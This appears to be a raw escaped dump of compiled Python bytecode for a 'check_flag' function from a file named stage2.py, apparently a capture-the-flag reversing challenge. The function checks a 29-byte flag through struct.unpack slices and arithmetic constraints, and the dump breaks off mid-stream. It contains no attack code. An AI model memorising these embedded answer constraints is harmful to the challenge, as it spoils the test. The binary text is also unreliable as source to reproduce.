01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x0cd\x10\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x10d\x13\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00d\x06z\x03\x00\x00d\x14k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x10d\x13\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x13d\x15\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00d\x06z\t\x00\x00d\x0ck7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x13d\x15\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x15d\x16\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x0c\x00\x00d\rz\x02\x00\x00d\x17k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x15d\x16\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x16d\n\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x05\x00\x00d\x0cz\x02\x00\x00d\x18k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x16d\n\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\nd\x19\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00d\tz\t\x00\x00d\x1ak7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\nd\x19\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x19d\x1b\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00d\x07z\x08\x00\x00d\x1ak7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x19d\x1b\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1bd\x1c\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x07\x00\x00d\x1dz\x06\x00\x00d\nk7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1bd\x1c\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1cd\x1e\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x07\x00\x00d\x1fz\x0c\x00\x00d k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1cd\x1e\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1ed!\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x0bd\r\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x01\x00\x00d"k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1ed!\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d!d\x17\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x10d\x13\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00d\x12k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d!d\x17\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x17d#\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x0c\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x13d\x15\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00d$k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x17d#\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d#d"\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x05\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\nd\x19\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x07\x00\x00d%k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d#d"\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d"d&\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x08\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x19d\x1b\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x06\x00\x00d\x12k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d"d&\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d&d\'\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1cd\x1e\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x01\x00\x00d(k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d&d\'\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\'d)\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1bd\x1c\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00d\x10k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\'d)\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d)d*\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x0c\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d!d\x17\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00d+k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d)d*\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d*d,\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x0cd\x10\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x05\x00\x00d-k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d*d,\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d,d\x1a\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x07\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\'d)\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x01\x00\x00d.k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d,d\x1a\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1ad/\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x06\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1cd\x1e\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00d0k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1ad/\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d/d\x1d\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x05\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d"d&\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x02\x00\x00d(k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d/d\x1d\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1dd1\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1ad/\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\n\x00\x00d2k7\x00\x00r\x01y\x03t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d\x1dd1\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d1d\x02\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x00\x00\x00t\x05\x00\x00\x00\x00\x00\x00\x00\x00j\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x04|\x01d1d\x02\x1a\x00\xab\x02\x00\x00\x00\x00\x00\x00d\x05\x19\x00\x00\x00z\x05\x00\x00d3k7\x00\x00r\x01y\x03y4)5Nz\x05utf-8\xe9\x1d\x00\x00\x00F\xda\x01Br\x02\x00\x00\x00\xe9\x01\x00\x00\x00\xe9\x02\x00\x00\x00\xe9\xd2\x00\x00\x00\xe9\x03\x00\x00\x00\xe9\x0b\x00\x00\x00\xe9\x04\x00\x00\x00\xe9\x06\x00\x00\x00\xe9\x05\x00\x00\x00i}1\x00\x00\xe9p\x00\x00\x00\xe9\x07\x00\x00\x00\xe9?\x00\x00\x00\xe9)\x00\x00\x00\xe9\x08\x00\x00\x00i\xda\x01\x00\x00\xe9\t\x00\x00\x00\xe9\n\x00\x00\x00\xe9\x11\x00\x00\x00ip\x03\x00\x00\xe9\x0c\x00\x00\x00\xe9\x19\x00\x00\x00\xe9\r\x00\x00\x00\xe9\x0e\x00\x00\x00\xe9\x1b\x00\x00\x00\xe9\x0f\x00\x00\x00\xe9H\x00\x00\x00\xe9;\x00\x00\x00\xe9\x10\x00\x00\x00\xe9\x13\x00\x00\x00\xe9\x12\x00\x00\x00i\xb5\xff\xff\xffi\x7f\x0e\x00\x00\xe9\x14\x00\x00\x00\xe9\x15\x00\x00\x00\xe9!\x00\x00\x00\xe9\x16\x00\x00\x00\xe9\x17\x00\x00\x00\xe9\xeb\x00\x00\x00\xe9\x18\x00\x00\x00i>\xd9\xff\xff\xe9_\x00\x00\x00\xe9\x1a\x00\x00\x00\xe9\xc2\x00\x00\x00\xe9\x1c\x00\x00\x00iO\xff\xff\xffi\xbfr\x00\x00T)\x04\xda\x06encode\xda\x03len\xda\x06struct\xda\x06unpack)\x02\xda\x04flag\xda\nflag_bytess\x02\x00\x00\x00  \xfa\x0b.\\stage2.py\xda\ncheck_flagr4\x00\x00\x00\x03\x00\x00\x00s\x1a\x0b\x00\x00\x80\x00\xd8\x11\x15\x97\x1b\x91\x1b\x98W\xd3\x11%\x80J\xe4\x07\n\x88:\x83\x7f\x98"\xd2\x07\x1c\xd8\x0f\x14\xe4\x07\r\x87}\x81}\x90S\x98*\xa0Q\xa0q\x98/\xd3\x07*\xa81\xd1\x07-\xb4\x06\xb7\r\xb1\r\xb8c\xc0:\xc8a\xd0PQ\xc0?\xd30S\xd0TU\xd10V\xd1\x07V\xd0Z]\xd2\x07]\xd8\x0f\x14\xdc\x07\r\x87}\x81}\x90S\x98*\xa0Q\xa0q\x98/\xd3\x07*\xa81\xd1\x07-\xb4\x06\xb7\r\xb1\r\xb8c\xc0:\xc8a\xd0PQ\xc0?\xd30S\xd0TU\xd10V\xd1\x07V\xd0Z\\\xd2\x07\\\xd8\x0f\x14\xdc\x07\r\x87}\x81}\x90S\x98*\xa0Q\xa0q\x98/\xd3\x07*\xa81\xd1\x07-\xb4\x06\xb7\r\xb1\r\xb8c\xc0:\xc8a\xd0PQ\xc0?\xd30S\xd0TU\xd10V\xd1\x07V\xd0Z]\xd2\x07]\xd8\x0f\x14\xdc\x07\r\x87}\x81}\x90S\x98*\xa0Q\xa0q\x98/\xd3\x07*\xa81\xd1\x07-\xb4\x06\xb7\r\xb1\r\xb8c\xc0:\xc8a\xd0PQ\xc0?\xd30S\xd0TU\xd10V\xd1\x07V\xd0Z_\xd2\x07_\xd8\x0f\x14\xdc\x07\r\x87}\x81}\x90S\x98*\xa0Q\xa0q\x98/\xd3\x07*\xa81\xd1\x07-\xb4\x06\xb7\r\xb1\r\xb8c\xc0:\xc8a\xd0PQ\xc0?\xd30S\xd0TU\xd10V\xd1\x07V\xd0Z]\xd2\x07]\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0a\xa8\x01\x98?\xd3\x08+\xa8A\xd1\x08.\xb4\x16\xb7\x1d\xb1\x1d\xb8s\xc0J\xc8q\xd0QR\xc0O\xd31T\xd0UV\xd11W\xd1\x08W\xd0[_\xd1\x07_\xd0ce\xd2\x07e\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0a\xa8\x01\x98?\xd3\x08+\xa8A\xd1\x08.\xb4\x16\xb7\x1d\xb1\x1d\xb8s\xc0J\xc8q\xd0QR\xc0O\xd31T\xd0UV\xd11W\xd1\x08W\xd0\\]\xd1\x07]\xd0ad\xd2\x07d\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0a\xa8\x01\x98?\xd3\x08+\xa8A\xd1\x08.\xb4\x16\xb7\x1d\xb1\x1d\xb8s\xc0J\xc8q\xd0QR\xc0O\xd31T\xd0UV\xd11W\xd1\x08W\xd0\\]\xd1\x07]\xd0ab\xd2\x07b\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0a\xa8\x01\x98?\xd3\x08+\xa8A\xd1\x08.\xb4\x16\xb7\x1d\xb1\x1d\xb8s\xc0J\xc8q\xd0QS\xd0DT\xd31U\xd0VW\xd11X\xd1\x08X\xd0]^\xd1\x07^\xd0bd\xd2\x07d\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0a\xa8\x02\xd0\x1b+\xd3\x08,\xa8Q\xd1\x08/\xb4&\xb7-\xb1-\xc0\x03\xc0Z\xd0PR\xd0SU\xd0EV\xd32W\xd0XY\xd12Z\xd1\x08Z\xd0_`\xd1\x07`\xd0dg\xd2\x07g\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd0`a\xd1\x07a\xd0eg\xd2\x07g\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd0`a\xd1\x07a\xd0eg\xd2\x07g\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd0_a\xd1\x07a\xd0eg\xd2\x07g\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd0_a\xd1\x07a\xd0eg\xd2\x07g\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}~\xf0\x00\x00@\x02A\x02\xf0\x00\x00s\x01B\x02\xf3\x00\x00`\x01C\x02\xf0\x00\x00D\x02E\x02\xf1\x00\x00`\x01F\x02\xf1\x00\x00\x08F\x02\xf0\x00\x00J\x02L\x02\xf2\x00\x00\x08L\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}~\xf0\x00\x00@\x02A\x02\xf0\x00\x00s\x01B\x02\xf3\x00\x00`\x01C\x02\xf0\x00\x00D\x02E\x02\xf1\x00\x00`\x01F\x02\xf1\x00\x00\x08F\x02\xf0\x00\x00J\x02L\x02\xf2\x00\x00\x08L\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}~\xf0\x00\x00@\x02A\x02\xf0\x00\x00s\x01B\x02\xf3\x00\x00`\x01C\x02\xf0\x00\x00D\x02E\x02\xf1\x00\x00`\x01F\x02\xf1\x00\x00\x08F\x02\xf0\x00\x00J\x02M\x02\xf2\x00\x00\x08M\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02P\x02\xf2\x00\x00\x08P\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb4F\xb7M\xb1M\xc0#\xc0z\xd0RT\xd0UW\xd0GX\xd34Y\xd0Z[\xd14\\\xd1\x08\\\xd4`f\xd7`m\xd1`m\xd0nq\xd0s}\xf0\x00\x00\x7f\x01A\x02\xf0\x00\x00B\x02D\x02\xf0\x00\x00t\x01E\x02\xf3\x00\x00a\x01F\x02\xf0\x00\x00G\x02H\x02\xf1\x00\x00a\x01I\x02\xf1\x00\x00\x08I\x02\xf0\x00\x00M\x02O\x02\xf2\x00\x00\x08O\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02N\x02\xf2\x00\x00\x08N\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\x